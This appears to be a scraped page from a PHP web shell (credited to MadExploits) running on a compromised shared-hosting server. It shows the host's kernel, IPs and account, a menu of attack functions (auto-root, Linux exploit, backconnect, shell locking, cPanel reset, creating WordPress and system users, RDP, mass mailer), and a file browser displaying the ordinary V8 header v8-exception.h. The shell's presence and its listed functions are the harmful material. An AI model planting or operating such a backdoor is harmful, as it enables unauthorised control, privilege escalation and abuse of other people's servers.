Linux id-dci-web1980.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
LiteSpeed
: 153.92.8.146 | : 216.73.216.214
Cant Read [ /etc/named.conf ]
8.3.30
u610877233
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs24 /
root /
usr /
include /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
cppgc
[ DIR ]
drwxr-xr-x
libplatform
[ DIR ]
drwxr-xr-x
uv
[ DIR ]
drwxr-xr-x
common.gypi
26.04
KB
-rw-r--r--
config.gypi
32.07
KB
-rw-r--r--
js_native_api.h
31.28
KB
-rw-r--r--
js_native_api_types.h
6.87
KB
-rw-r--r--
node.h
68.94
KB
-rw-r--r--
node_api.h
10.34
KB
-rw-r--r--
node_api_types.h
1.57
KB
-rw-r--r--
node_buffer.h
3.6
KB
-rw-r--r--
node_object_wrap.h
3.78
KB
-rw-r--r--
node_version.h
4.14
KB
-rw-r--r--
uv.h
71.1
KB
-rw-r--r--
v8-array-buffer.h
21.49
KB
-rw-r--r--
v8-callbacks.h
19.06
KB
-rw-r--r--
v8-container.h
5.82
KB
-rw-r--r--
v8-context.h
19.27
KB
-rw-r--r--
v8-cppgc.h
5.83
KB
-rw-r--r--
v8-data.h
1.68
KB
-rw-r--r--
v8-date.h
1.41
KB
-rw-r--r--
v8-debug.h
5.26
KB
-rw-r--r--
v8-embedder-heap.h
1.62
KB
-rw-r--r--
v8-embedder-state-scope.h
1.46
KB
-rw-r--r--
v8-exception.h
9.52
KB
-rw-r--r--
v8-extension.h
1.83
KB
-rw-r--r--
v8-external.h
924
B
-rw-r--r--
v8-forward.h
1.65
KB
-rw-r--r--
v8-function-callback.h
23.84
KB
-rw-r--r--
v8-function.h
4.76
KB
-rw-r--r--
v8-handle-base.h
4.81
KB
-rw-r--r--
v8-initialization.h
11.02
KB
-rw-r--r--
v8-internal.h
69.14
KB
-rw-r--r--
v8-isolate.h
65.4
KB
-rw-r--r--
v8-json.h
1.32
KB
-rw-r--r--
v8-local-handle.h
24.35
KB
-rw-r--r--
v8-locker.h
3.86
KB
-rw-r--r--
v8-maybe.h
4.61
KB
-rw-r--r--
v8-memory-span.h
10.5
KB
-rw-r--r--
v8-message.h
6.53
KB
-rw-r--r--
v8-microtask-queue.h
4.79
KB
-rw-r--r--
v8-microtask.h
861
B
-rw-r--r--
v8-object.h
40.1
KB
-rw-r--r--
v8-persistent-handle.h
17.25
KB
-rw-r--r--
v8-platform.h
49.05
KB
-rw-r--r--
v8-primitive-object.h
2.53
KB
-rw-r--r--
v8-primitive.h
36.69
KB
-rw-r--r--
v8-profiler.h
43.27
KB
-rw-r--r--
v8-promise.h
5.16
KB
-rw-r--r--
v8-proxy.h
1.22
KB
-rw-r--r--
v8-regexp.h
3.1
KB
-rw-r--r--
v8-sandbox.h
7.47
KB
-rw-r--r--
v8-script.h
32.36
KB
-rw-r--r--
v8-snapshot.h
11.6
KB
-rw-r--r--
v8-source-location.h
2.66
KB
-rw-r--r--
v8-statistics.h
7.45
KB
-rw-r--r--
v8-template.h
41.98
KB
-rw-r--r--
v8-traced-handle.h
12.04
KB
-rw-r--r--
v8-typed-array.h
11.16
KB
-rw-r--r--
v8-unwinder.h
4.65
KB
-rw-r--r--
v8-value-serializer.h
10.56
KB
-rw-r--r--
v8-value.h
17.22
KB
-rw-r--r--
v8-version.h
773
B
-rw-r--r--
v8-wasm.h
6.83
KB
-rw-r--r--
v8-weak-callback-info.h
2.72
KB
-rw-r--r--
v8.h
3.69
KB
-rw-r--r--
v8config.h
34.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : v8-exception.h
// Copyright 2021 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef INCLUDE_V8_EXCEPTION_H_ #define INCLUDE_V8_EXCEPTION_H_ #include <stddef.h> #include "v8-local-handle.h" // NOLINT(build/include_directory) #include "v8-object.h" // NOLINT(build/include_directory) #include "v8config.h" // NOLINT(build/include_directory) namespace v8 { class Context; class Isolate; class Message; class StackTrace; class String; class Value; namespace internal { class Isolate; class ThreadLocalTop; } // namespace internal /** * Create new error objects by calling the corresponding error object * constructor with the message. */ class V8_EXPORT Exception { public: static Local<Value> RangeError(Local<String> message, Local<Value> options = {}); static Local<Value> ReferenceError(Local<String> message, Local<Value> options = {}); static Local<Value> SyntaxError(Local<String> message, Local<Value> options = {}); static Local<Value> TypeError(Local<String> message, Local<Value> options = {}); static Local<Value> WasmCompileError(Local<String> message, Local<Value> options = {}); static Local<Value> WasmLinkError(Local<String> message, Local<Value> options = {}); static Local<Value> WasmRuntimeError(Local<String> message, Local<Value> options = {}); static Local<Value> WasmSuspendError(Local<String> message, Local<Value> options = {}); static Local<Value> Error(Local<String> message, Local<Value> options = {}); /** * Creates an error message for the given exception. * Will try to reconstruct the original stack trace from the exception value, * or capture the current stack trace if not available. */ static Local<Message> CreateMessage(Isolate* isolate, Local<Value> exception); /** * Returns the original stack trace that was captured at the creation time * of a given exception, or an empty handle if not available. */ static Local<StackTrace> GetStackTrace(Local<Value> exception); /** * Captures the current stack trace and attaches it to the given object in the * form of `stack` property. */ static Maybe<bool> CaptureStackTrace(Local<Context> context, Local<Object> object); }; /** * This is a part of experimental Api and might be changed without further * notice. * Do not use it. */ enum class ExceptionContext : uint32_t { kUnknown, kConstructor, kOperation, kAttributeGet, kAttributeSet, kIndexedQuery, kIndexedGetter, kIndexedDescriptor, kIndexedSetter, kIndexedDefiner, kIndexedDeleter, kNamedQuery, kNamedGetter, kNamedDescriptor, kNamedSetter, kNamedDefiner, kNamedDeleter, kNamedEnumerator }; /** * This is a part of experimental Api and might be changed without further * notice. * Do not use it. */ class ExceptionPropagationMessage { public: ExceptionPropagationMessage(v8::Isolate* isolate, Local<Object> exception, Local<String> interface_name, Local<String> property_name, ExceptionContext exception_context) : isolate_(isolate), exception_(exception), interface_name_(interface_name), property_name_(property_name), exception_context_(exception_context) {} V8_INLINE Isolate* GetIsolate() const { return isolate_; } V8_INLINE Local<Object> GetException() const { return exception_; } V8_INLINE Local<String> GetInterfaceName() const { return interface_name_; } V8_INLINE Local<String> GetPropertyName() const { return property_name_; } V8_INLINE ExceptionContext GetExceptionContext() const { return exception_context_; } private: Isolate* isolate_; Local<Object> exception_; Local<String> interface_name_; Local<String> property_name_; ExceptionContext exception_context_; }; using ExceptionPropagationCallback = void (*)(ExceptionPropagationMessage message); /** * An external exception handler. */ class V8_EXPORT TryCatch { public: /** * Creates a new try/catch block and registers it with v8. Note that * all TryCatch blocks should be stack allocated because the memory * location itself is compared against JavaScript try/catch blocks. */ explicit TryCatch(Isolate* isolate); /** * Unregisters and deletes this try/catch block. */ ~TryCatch(); /** * Returns true if an exception has been caught by this try/catch block. */ bool HasCaught() const; /** * For certain types of exceptions, it makes no sense to continue execution. * * If CanContinue returns false, the correct action is to perform any C++ * cleanup needed and then return. If CanContinue returns false and * HasTerminated returns true, it is possible to call * CancelTerminateExecution in order to continue calling into the engine. */ bool CanContinue() const; /** * Returns true if an exception has been caught due to script execution * being terminated. * * There is no JavaScript representation of an execution termination * exception. Such exceptions are thrown when the TerminateExecution * methods are called to terminate a long-running script. * * If such an exception has been thrown, HasTerminated will return true, * indicating that it is possible to call CancelTerminateExecution in order * to continue calling into the engine. */ bool HasTerminated() const; /** * Throws the exception caught by this TryCatch in a way that avoids * it being caught again by this same TryCatch. As with ThrowException * it is illegal to execute any JavaScript operations after calling * ReThrow; the caller must return immediately to where the exception * is caught. */ Local<Value> ReThrow(); /** * Returns the exception caught by this try/catch block. If no exception has * been caught an empty handle is returned. */ Local<Value> Exception() const; /** * Returns the .stack property of an object. If no .stack * property is present an empty handle is returned. */ V8_WARN_UNUSED_RESULT static MaybeLocal<Value> StackTrace( Local<Context> context, Local<Value> exception); /** * Returns the .stack property of the thrown object. If no .stack property is * present or if this try/catch block has not caught an exception, an empty * handle is returned. */ V8_WARN_UNUSED_RESULT MaybeLocal<Value> StackTrace( Local<Context> context) const; /** * Returns the message associated with this exception. If there is * no message associated an empty handle is returned. */ Local<v8::Message> Message() const; /** * Clears any exceptions that may have been caught by this try/catch block. * After this method has been called, HasCaught() will return false. Cancels * the scheduled exception if it is caught and ReThrow() is not called before. * * It is not necessary to clear a try/catch block before using it again; if * another exception is thrown the previously caught exception will just be * overwritten. However, it is often a good idea since it makes it easier * to determine which operation threw a given exception. */ void Reset(); /** * Set verbosity of the external exception handler. * * By default, exceptions that are caught by an external exception * handler are not reported. Call SetVerbose with true on an * external exception handler to have exceptions caught by the * handler reported as if they were not caught. */ void SetVerbose(bool value); /** * Returns true if verbosity is enabled. */ bool IsVerbose() const; /** * Set whether or not this TryCatch should capture a Message object * which holds source information about where the exception * occurred. True by default. */ void SetCaptureMessage(bool value); TryCatch(const TryCatch&) = delete; void operator=(const TryCatch&) = delete; private: // Declaring operator new and delete as deleted is not spec compliant. // Therefore declare them private instead to disable dynamic alloc void* operator new(size_t size); void* operator new[](size_t size); void operator delete(void*, size_t); void operator delete[](void*, size_t); /** * There are cases when the raw address of C++ TryCatch object cannot be * used for comparisons with addresses into the JS stack. The cases are: * 1) ARM, ARM64 and MIPS simulators which have separate JS stack. * 2) Address sanitizer allocates local C++ object in the heap when * UseAfterReturn mode is enabled. * This method returns address that can be used for comparisons with * addresses into the JS stack. When neither simulator nor ASAN's * UseAfterReturn is enabled, then the address returned will be the address * of the C++ try catch handler itself. */ internal::Address JSStackComparableAddressPrivate() { return js_stack_comparable_address_; } void ResetInternal(); internal::Isolate* i_isolate_; TryCatch* next_; void* exception_; void* message_obj_; internal::Address js_stack_comparable_address_; bool is_verbose_ : 1; bool can_continue_ : 1; bool capture_message_ : 1; bool rethrow_ : 1; friend class internal::Isolate; friend class internal::ThreadLocalTop; }; } // namespace v8 #endif // INCLUDE_V8_EXCEPTION_H_
Close